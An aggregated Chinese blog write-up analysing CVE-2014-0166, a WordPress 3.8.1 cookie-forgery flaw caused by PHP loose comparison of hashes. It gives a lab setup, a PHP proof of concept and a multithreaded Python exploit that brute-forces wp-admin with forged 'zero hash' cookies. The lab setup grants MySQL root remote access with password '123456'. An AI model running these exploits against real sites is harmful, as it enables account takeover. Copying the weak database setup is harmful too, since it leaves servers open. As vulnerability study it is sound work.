[聚合文章] Web安全 — CVE-2014-0166分析

MySQL 2017-12-02 10 阅读

引言

课题背景

近年来,利用 Web 应用存在的安全隐患(即所谓的“漏洞”)展开攻击的案例层出不穷,受害者也与日俱增。虽说只要消除安全隐患就能够杜绝这些攻击,但这就需要 Web 应用开发人员掌握正确的安全性方面的知识。

本课题的研究

本文分析的是 WordPress 3.8.2 更新的Cookie伪造漏洞(CVE-2014-0166),并给出对应的POC和EXP。

根据描述 WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的。

漏洞知识分析的准备

PHP弱类型安全问题

弱类型转化问题

弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。

类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,PHP会自动地进行变量转换。但是PHP是一个弱类型的语言,导致在进行类型转换的时候会存在很多意想不到的问题。

比较操作符类型转换

b 的比较中

$a=null;$b=flase ;     //true
$a='';$b=null;        //true

这样的例子还有很多,这种比较都是相等。

使用比较操作符的时候也存在类型转换的问题,如下:

0=='0'                //true
0 == 'abcdefg'        //true
0 === 'abcdefg'        //false
1 == '1abcdef'        //true

当不同类型的变量进行比较的时候就会存在变量转换的问题,在转换之后就有可能会存在问题。

Hash比较

除了以上的这种方式之外在进行hash比较的时候也会存在问题。如下:

"0e132456789"=="0e7124511451155"     //true3
"0e123456abc"=="0e1dddada"            //false
"0e1abc"=="0"                         //true

在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。

Firefox下查看Cookie

打开Firefox 附加组件,搜索Firebug并安装

tutututut

按F12,可以在浏览器的底部找到如下视图,从视图中可以找到Cookie,可以在其中新建、删除、编辑相应的Cookie。

实验环境搭建

虚拟机安装

启动VirtualBox,新建一个虚拟机。

选择vmdk格式

然后一路下一步。

新建好后,载入CentOS ISO文件,启动虚拟机,进入安装界面。把CentOS安装好。

安装好后,进行更新以及安装一些需要软件。

更新: yum update –y

nginx 软件源码安装

http://nginx.org/en/download.html 下载 nginx-1.10.1.tar.gz

使用命令 wget http://nginx.org/download/nginx-1.10.1.tar.gz

使用 tar –zxvf nginx-1.10.1.tar.gz 解压缩

之后进入nginx-1.10.1目录

./configure (使用默认的配置,程序汇报安装到/usr/local)

Make && make install

支持php

启动nginx

mysql 源码安装

http://dev.mysql.com/downloads/mysql/ 下载社区版源码 mysql-5.7.13-1.el7.src.rpm

执行:

groupadd mysql
useradd -r -g mysql mysql

解压:

rpm2cpio mysql-community-5.7.13-1.el7.src.rpm |cpio –div

解压文件 tar –zxvf mysql-5.6.25.tar.gz

编译安装

cd mysql-5.6.25

默认情况下是安装在 /usr/local/mysql

cmake .
cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/usr/local/mysql/data -DSYSCONFDIR=/etc -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DMYSQL_UNIX_ADDR=/var/lib/mysql/mysql.sock -DMYSQL_TCP_PORT=3306 -DENABLED_LOCAL_INFILE=1 -DWITH_PARTITION_STORAGE_ENGINE=1 -DEXTRA_CHARSETS=all -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci

编译的参数可以参考 http://dev.mysql.com/doc/refman/5.6/en/source-configuration-options.html

make && make install

设置文件夹及其子文件的所有人

chown -R mysql.mysql /usr/local/mysql

初始化数据库

cd /usr/local/mysql/scripts
./mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

注册为服务

cd /usr/local/mysql/support-files

注册服务

cp mysql.server /etc/rc.d/init.d/mysql

使用默认配置文件

cp my-default.cnf /etc/my.cnf

让chkconfig管理mysql服务

chkconfig --add mysql

开机启动

chkconfig mysql on

启动MySQL服务

service mysql start

改变编码,防止乱码

SHOW VARIABLES LIKE 'character%'

修改mysql的my.cnf文件

[client]
default-character-set=utf8
[mysqld]
character-set-server=utf8
[mysql]
default-character-set=utf8

将mysql的bin加入到path中

cd ~

我把path添加到当前用户目录的bashrc中,如果需要全局设定,请修改 /etc/profile

vi .bashrc

加入以下内容

PATH=/usr/local/mysql/bin:$PATH
export PATH

配置用户密码和远程访问权限

mysql -uroot  
SET PASSWORD = PASSWORD('123456');
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

安装php

yum install php php-fpm     #根据提示输入Y直到安装完成
yum install php-mysql php-gd libjpeg* php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-bcmath php-mhash libmcrypt    #这里选择以上安装包进行安装,根据提示输入Y回车
chkconfig php-fpm on     #设置php-fpm开机启动

安装WordPress 3.8.1

启动nginx,mysql,

最终

漏洞原理

漏洞代码

文件为 wp/wp-includes/pluggable.php

在wordpress-3.8.1 中是这样的

在wordpress-3.8.2 修复后是

我们把全部的关注点放到 !=!== 上来:

==!= 即non-strict比较符,会在类型转换后进行比较。

再看php manual中给出的例子:

<?php
    var_dump(0 == "a");         // 0 == 0 -> true
    var_dump("1" == "01");         // 1 == 1 -> true
    var_dump("10" == "1e1");     // 10 == 10 -> true
    var_dump(100 == "1e2");     // 100 == 100 -> true
?>

字符串在与数字比较前会自动转换为数字,所以 0=="a" 了。

回到wordpress的验证代码上来。先生成根据用户名 ($username) 、密码 ($pass_frag) 、cookie有效期 ($expiration) 、wp-config.php中的key ($key) 四个信息计算出对应的 $hash (算法很简单,不细说), 然后用cookie中取得的 $hmac 值与之进行比较 ($hmac != $hash ?) ,从而验证cookie有效性。

cookie的格式是这样的: wordpress_hashofurl=username|expiration|hmac

我们能控制的变量有 $username$expiration ,其中 $username 需要固定。于是我们可以通过控制cookie中的 $expiration 去改变 $hash 的值,然后将cookie中的 $hmac 设置为0

只要不断改变 $expiration ,直到满足 $hash=="0" 的$hash出现,就成功伪造了有效的cookie。

下面把pluggable.php的源码改一下,如下

当用户成功登陆后,会显示如下

POC代码及分析

根据上面所说的思路,修改一下网上找的POC如下

<?php
$site_url = 'http://192.168.58.101/wp'; // 生成的 cookie key: 'wordpress_'+hash($site_url)
$user = 'admin'; //用户名
$pass_frag = 'RmMi';  // password hash. $pass_frag = substr($user->user_pass, 8, 4)
$scheme = '';
$unit = 1000000000;
$init = empty($argv[1])?0:$argv[1]*$unit;          //Start point. e.g. 2 for 200000000
$exptime = 1400000000+$init;
$cnt = 0+$init;
$max = $init + $unit;
function gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme) {
        $lk = 'Huc#,)Br)XE~%z[(genk;#tdnn 74<3H9vUWO T[W0fQ,QJuJ=h_I[>x.4<_kJWL';       //$auth_key configured in wp-config.php
        $ls='93owjz|2yvI 9ifYG4w(6W^Z^AO7zayL1Q>ko)N![Yxm_dS$Hkh;lT8dv&1q0hnY';       //$auth_salt configured in wp-config.php
        $key = hash_hmac('md5',$user.$pass_frag.'|'.$exptime,$lk.$ls);
        $hash = hash_hmac('md5',$user.'|'.$exptime,$key);
        return $hash;
}
while ($cnt<$max) {
        $cnt++;
        $exptime++;
        if ($cnt % 10000 == 0) { 
                echo "\rTrying:  ".$exptime;    //real-time status output
        }
        $hs = gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme);
        //when "zero hash" found, output and exit
        if ($hs == "0") {
                echo "\n\nAfter ".$cnt." tries, we found: \n";
                echo "Expiration: ".$exptime."\n";
                echo "Hash: ".$hs."\n";
                echo "Cookie Key: ".'wordpress_'.$scheme.md5($site_url)."\n";
                echo "Cookie Value: ".$user.'|'.$exptime.'|'.$hs."\n";
                break;
        }
}
?>

运行一下,经过一段时间后可以得到

登陆网站并添加Cookie,

可以用伪造的Cookie成功登陆

渗透测试

扫描目标主机

查看80端口的网站发现是WordPress 3.8.1

从github上找到了一个exp,并把地址和用户名修改一下,得到如下

#!/usr/bin/env python
"""
This script is the EXP of CVE-2014-0166.
By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie. 
However, on average, we need 300 million requets to find a 'zero hash'. 
Therefore I wrote this multithread script.
Details: http://www.ettack.org/wordpress-cookie-forgery/
Author: Ettack
Email: <a href="/cdn-cgi/l/email-protection" data-cfemail="4025343421232b00272d21292c6e232f2d">[email protected]</a>
"""
import requests
import hmac
import threading
from hashlib import md5
from sys import stdout
from time import sleep,ctime,gmtime,time
from os import _exit
initnum = 0     #Set the initial value here while performing distributed computing.
threadNum = 500
errTolerance = 0        #If ErrorRequests/AllRequests > errTolerance, then decrease threads number
lock = threading.Lock()
url = 'http://192.168.58.101/wp'
user = 'admin'
expiration = 1400000000+initnum
cnt = 0+initnum
cookie_k = 'wordpress_' + md5(url).hexdigest()
def testCookie(url,user,expr):
        global errcnt
        cookie_v = user + '|' + str(expr) + '|0'
        cookie = {cookie_k:cookie_v}
        try:
                r = requests.head(url + '/wp-admin/',cookies=cookie)
        except requests.exceptions.ConnectionError:
                errcnt += 1
                # print "Connection ERROR occured in %s"%(threading.current_thread())
                sleep(8)
                return "Err"
        statcode = r.status_code
        if statcode == 200: 
                return cookie
        if statcode != 302:
                errcnt += 1
                sleep(5)
                return "Err"
        return False
def action():
        lock.acquire()
        global expiration,cnt
        expiration += 1
        cnt += 1
        stdout.flush()
        stdout.write("\r%s"%(cnt))
        lock.release()
        try:
                #Copy expiration value to expr.As expiration would be increased by other threads.
                expr = expiration
                #Loop until no error
                while True:
                        result = testCookie(url,user,expr)
                        if result != "Err": break
        except KeyboardInterrupt:
                print "Interrupted at %s"%(expiration)
                _exit(0)
        except Exception,e:
                print e
        #Cookie found! Output to screen and file (wp_result). Output consumed time as well.
        if result != False:
                print "\n\nCongratulations!!! Found valid cookie:"
                print str(result)
                dtime = time()-stime
                timestr = gmtime(dtime)
                print "\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec)
                with open("wp_result","w") as fp:
                        fp.write(str(result))
                        fp.close()
                _exit(0)
stime = time()
print "Start at %s"%(ctime())
print "Guessing with %d threads...\n"%(threadNum)
#Main part of guessing program
while True:
        threads = []
        errcnt = 0
        for i in xrange(threadNum):
                t = threading.Thread(target = action)
                threads.append(t)
                t.start()
        for t in threads:
                t.join()
        #Adjust threads number
        errRate = float(errcnt)/threadNum 
        if errRate > errTolerance:
                newThreadNum = int(threadNum * (1-0.5*errRate))
                print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)
                threadNum = newThreadNum
        #Log process to wp_log
        with open("wp_log","w") as fp:
                fp.write(str(cnt))
                fp.close()

运行该脚本可以得到

成功登陆

结语

通过在红日安全漏洞组的学习和锻炼了漏洞的分析能力,寻找问题和解决问题的能力,让我明白了实践是检验真理的唯一标准

参考文献

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。